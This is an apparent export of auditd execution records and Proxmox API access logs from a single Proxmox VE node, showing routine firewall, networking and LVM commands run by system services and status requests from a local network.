exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965608.668:66343): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964168656,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964164609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964164.609:59850): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05d0 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.170:68744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8af5c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965467973,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964564521,"@rawstring":"node=pve type=EXECVE msg=audit(1781964564.521:61543): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966175170,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.170:68744): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964931169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964931.169:63254): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965608.668:66342): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964168656,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964163.147:59849): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.162:68743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965467973,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964564495,"@rawstring":"node=pve type=EXECVE msg=audit(1781964564.495:61542): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966175162,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.162:68743): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964926160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964926.160:63252): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965608.662:66340): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964167653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964163.135:59846): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.153:68742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1388c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965467973,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=EXECVE msg=audit(1781964559.842:61541): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175153,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.153:68742): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964926160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964926.160:63251): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965608.662:66339): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964164657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964159.526:59843): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72545a0 a1=637ee7253400 a2=637ee7240ef0 a3=8 items=2 ppid=57465 pid=57467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966174913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966174.913:68741): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7416f00 a1=64f8d73c57a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965467973,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781964559833,"@rawstring":"node=pve type=EXECVE msg=audit(1781964559.833:61538): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966174913,"@rawstring":"node=pve type=EXECVE msg=audit(1781966174.913:68741): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964926152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964926.152:63249): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.311:66334): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd3bf4f230 a1=62e9ce343410 a2=62e9ce321680 a3=5 items=1 ppid=63710 pid=63711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964163611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964159.526:59842): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72531d0 a1=637ee7254330 a2=637ee7240ef0 a3=8 items=2 ppid=57465 pid=57466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966174888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966174.888:68740): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5cb0 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965466654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 897"} {"@timestamp":1781964555705,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.705:61535): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966174888,"@rawstring":"node=pve type=EXECVE msg=audit(1781966174.888:68740): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964926152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964926.152:63248): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.169:66316): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc90d07e0 a1=597d314de1c0 a2=597d314bc680 a3=5 items=1 ppid=63691 pid=63692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964162611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964159525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964159.525:59841): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253520 a1=637ee72539a0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=57464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966170.680:68739): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965466654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781964555701,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.701:61534): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966170680,"@rawstring":"node=pve type=EXECVE msg=audit(1781966170.680:68739): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964925558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.558:63244): arch=c000003e syscall=59 success=no exit=-2 a0=7fff4a255e70 a1=6222b79f4410 a2=6222b79d2680 a3=5 items=1 ppid=60682 pid=60683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965603.656:66306): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964160582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964158.129:59840): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966170.675:68736): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964555700,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.700:61533): argc=1 a0=\"date\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=EXECVE msg=audit(1781966170.675:68736): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964925473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.473:63226): arch=c000003e syscall=59 success=no exit=-2 a0=7fff330891b0 a1=573bd8b713d0 a2=573bd8b4f680 a3=5 items=1 ppid=60663 pid=60664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965603.656:66305): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964159556,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964158.122:59837): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.141:68733): arch=c000003e syscall=59 success=yes exit=0 a0=627b4a7bcb20 a1=627b4a7c8a30 a2=627b4a796680 a3=5 items=2 ppid=66001 pid=66007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964555696,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.696:61531): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966166141,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.141:68733): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964921141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964921.141:63216): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965603.629:66303): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964156631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781964155953,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.953:59834): arch=c000003e syscall=59 success=yes exit=0 a0=5b5ae0d56ae0 a1=5b5ae0d629b0 a2=5b5ae0d30680 a3=5 items=2 ppid=57455 pid=57461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.137:68732): arch=c000003e syscall=59 success=yes exit=0 a0=627b2bc64ac8 a1=7ffc2ec0ada0 a2=627b4a796680 a3=627b2bc4824e items=2 ppid=66001 pid=66003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964555690,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.690:61530): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.137:68732): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964921.141:63215): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965603.629:66302): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964156631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 847"} {"@timestamp":1781964155950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.950:59833): arch=c000003e syscall=59 success=yes exit=0 a0=5b5add0e4ac8 a1=7ffc7da39fa0 a2=5b5ae0d30680 a3=5b5add0c824e items=2 ppid=57455 pid=57457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.137:68731): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc2ec0ad60 a1=627b4a7b81c0 a2=627b4a796680 a3=5 items=2 ppid=66001 pid=66002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965464735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964555683,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.683:61529): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.137:68731): argc=1 a0=\"date\""} {"@timestamp":1781964921135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964921.135:63213): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965598.619:66297): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964155635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964155949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.949:59832): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7da39f60 a1=5b5ae0d52180 a2=5b5ae0d30680 a3=5 items=2 ppid=57455 pid=57456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.131:68729): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} 